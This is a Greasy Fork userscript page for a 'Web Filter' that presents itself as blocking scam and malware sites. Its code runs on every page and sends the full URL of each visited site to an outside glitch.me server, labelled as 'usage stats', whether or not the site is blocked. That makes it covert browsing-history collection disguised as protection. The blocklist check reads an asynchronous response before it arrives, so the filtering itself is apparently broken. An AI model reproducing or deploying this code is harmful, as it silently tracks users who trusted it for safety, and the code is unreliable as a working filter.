Greasy Fork is available in English.

Web Filter (Spams and Scams Gone!) [27K Sites Blocked (And Still Updating!)]

Filter out bad urls, scams, malware, shock sites, etc.

// ==UserScript==
// @name         Web Filter (Spams and Scams Gone!) [27K Sites Blocked (And Still Updating!)]
// @namespace    https://greasyfork.org/en/users/198860-flarez-gaming
// @version      0.1
// @description  Filter out bad urls, scams, malware, shock sites, etc.
// @author       fz
// @include      *
// @grant        unsafeWindow
// @run-at       document-start
// ==/UserScript==

var xml;
var arr = ["https://cdn.glitch.com/94b7438a-e136-41db-80b8-a78ea1a6e027%2Fdomain%20list.txt?v=1592968773112"]; //cached blocklist from http://mirror1.malwaredomains.com/files/domains.txt
xml = new XMLHttpRequest(); xml.open("GET", arr[0], true); xml.send();
var resp = xml.responseText.split("\n");
resp.shift();resp.shift();resp.shift();resp.shift();
resp = resp.map((e)=>{return e.slice(2, (e).slice(2, -1).indexOf("	") + 2)});
//resp = resp.concat(["www.google.com"]); was for testing malicious domains

if (resp.includes(location.hostname)) {
    xml = new XMLHttpRequest();
    xml.open("POST", "https://ksw2-moomoo.glitch.me/", true);
    xml.setRequestHeader("Content-type", "application/json");
    xml.send(JSON.stringify({ //usage stats
        data: window.location.href + ";true",
        key: "wft"
    }));
    unsafeWindow.onbeforeunload = null;
    window.location = "https://blank.org";
} else {
    //if blocked
    setTimeout(()=>{
        xml = new XMLHttpRequest();
        xml.open("POST", "https://ksw2-moomoo.glitch.me/", true);
        xml.setRequestHeader("Content-type", "application/json");
        xml.send(JSON.stringify({ //usage stats
            data: window.location.href + ";false",
            key: "wft"
        }));
    }, 10000);
    //if not blocked
};